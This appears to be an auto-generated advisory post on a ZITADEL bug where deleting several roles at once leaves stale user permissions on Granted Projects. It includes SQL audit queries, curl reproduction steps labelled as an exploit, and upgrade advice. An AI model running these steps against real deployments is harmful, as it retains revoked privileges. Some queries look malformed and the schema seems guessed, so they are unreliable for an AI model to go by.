Listen to this Post
ZITADEL is an open-source identity and access management platform that implements multi-tenant architecture through a concept called Project Grants, which allows one organization to share a project with another organization. When multiple project roles are deleted simultaneously from a Granted Project, the internal mechanism responsible for updating user permissions fails to iterate through all affected role assignments correctly. This flaw exists in the permission management subsystem, specifically in how ZITADEL processes batch role deletions on User Grants that belong to Granted Projects (shared across organizational boundaries). The defect emerges because the system does not properly validate that all associated role-to-user mappings have been successfully removed before finalizing the transaction or updating the user’s permission cache. As a result, certain permission entries remain persisted in the database despite being logically revoked by the administrative action. This oversight allows for residual permissions to persist on Granted Projects even after an administrator has explicitly revoked them. Consequently, users retain access rights they should no longer possess, creating a discrepancy between the intended security policy and the actual enforced state of the system. The vulnerability aligns with CWE-284 Improper Access Control as it involves a failure to properly restrict access to resources based on assigned privileges. The root cause is insufficient state management during batch operations, where the system loops through a user’s list of roles but may skip adjacent roles when two or more roles are deleted at once. This issue only affects User Grants on Granted Projects; direct project roles and global organization roles are not impacted. The risk depends entirely on what the skipped role allowed the user to do—if it was an administrative or high-privilege role, the user could potentially retain those elevated permissions within that granted project even after the role was officially deleted. This type of error is particularly dangerous in multi-tenant environments where strict isolation between organizations is paramount for data privacy and compliance. The operational impact centers on unauthorized persistence of privileges, which directly undermines the principle of least privilege. Users who have had their access revoked may continue to interact with sensitive resources within Granted Projects, potentially leading to data leakage or unauthorized modifications. This situation complicates audit trails and compliance reporting, as historical records might indicate that access was properly terminated while active sessions or API calls still reflect lingering authorization tokens derived from the uncleared database entries. The vulnerability affects ZITADEL versions 4.0.0 through 4.15.3 and 3.0.0 through 3.4.12 (including RC versions). The 3.x release channel has reached End-of-Life for security updates and will not receive a backported patch. The issue has been fully resolved in version 4.16.0, which includes an automatic database migration that scans for and corrects any user permissions on granted projects that may have been accidentally left behind by this bug.
DailyCVE Form:
Platform: ZITADEL
Version: 4.0.0-4.15.3
Vulnerability: Role removal
Severity: High
date: 2026-09-14
Prediction: 2026-07-10
What Undercode Say:
Analytics
Check current ZITADEL version zitadel version Query database for orphaned user grants on granted projects SELECT ug.id, ug.user_id, ug.project_id, ug.role_keys FROM user_grants ug JOIN projects p ON ug.project_id = p.id WHERE p.project_grant_id IS NOT NULL AND ug.role_keys IS NOT NULL; Check for recently deleted roles SELECT FROM eventstore.events WHERE event_type = 'project.role.removed' AND created_at > NOW() - INTERVAL '30 days';
-- Identify user grants with stale role references SELECT ug.user_id, ug.project_id, ug.role_keys, array_agg(pr.key) AS valid_roles FROM user_grants ug JOIN projects p ON ug.project_id = p.id LEFT JOIN project_roles pr ON pr.project_id = p.id WHERE p.project_grant_id IS NOT NULL GROUP BY ug.user_id, ug.project_id, ug.role_keys HAVING ug.role_keys && array_agg(pr.key) IS NOT TRUE;
Exploit: (Educational Purposes!)
Step 1: Authenticate as organization administrator
curl -X POST "https://zitadel.example.com/oauth/v2/token" \
-d "grant_type=client_credentials" \
-d "client_id=admin-client" \
-d "client_secret=admin-secret" \
-d "scope=openid urn:zitadel:iam:org:project:roles"
Step 2: Create a granted project and assign multiple roles to a user
curl -X POST "https://zitadel.example.com/management/v1/projects/{projectId}/grants" \
-H "Authorization: Bearer $TOKEN" \
-d '{"projectId":"{projectId}","grantedOrgId":"{orgId}","roleKeys":["admin","editor","viewer"]}'
Step 3: Delete multiple roles simultaneously
curl -X DELETE "https://zitadel.example.com/management/v1/projects/{projectId}/roles" \
-H "Authorization: Bearer $TOKEN" \
-d '{"roleKeys":["admin","editor"]}'
Step 4: Verify residual permissions remain
curl -X GET "https://zitadel.example.com/management/v1/users/{userId}/grants" \
-H "Authorization: Bearer $TOKEN"
Observe that deleted roles may still appear in the user's grants
Protection: from this CVE
Upgrade to ZITADEL version 4.16.0 or later immediately. The patch fixes the role-removal logic to ensure no roles are skipped during batch deletions. The update includes an automatic database migration that scans for and corrects any user permissions on granted projects that may have been accidentally left behind. If immediate upgrade is not possible, manually review user permissions specifically for Granted Projects where multiple roles were recently deleted. There are no configuration workarounds; upgrading is the only way to trigger the automatic cleanup migration. For the 3.x release channel, note that it has reached End-of-Life and will not receive a backported patch, so migration to 4.16.0 is required.
Impact:
Users may retain access rights that were supposed to be completely removed within Granted Projects. If the skipped role was an administrative or high-privilege role, the user could continue to access sensitive resources, leading to potential data leakage or unauthorized modifications. This undermines the principle of least privilege and complicates audit trails and compliance reporting. The vulnerability affects multi-tenant environments where strict isolation between organizations is critical for data privacy.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
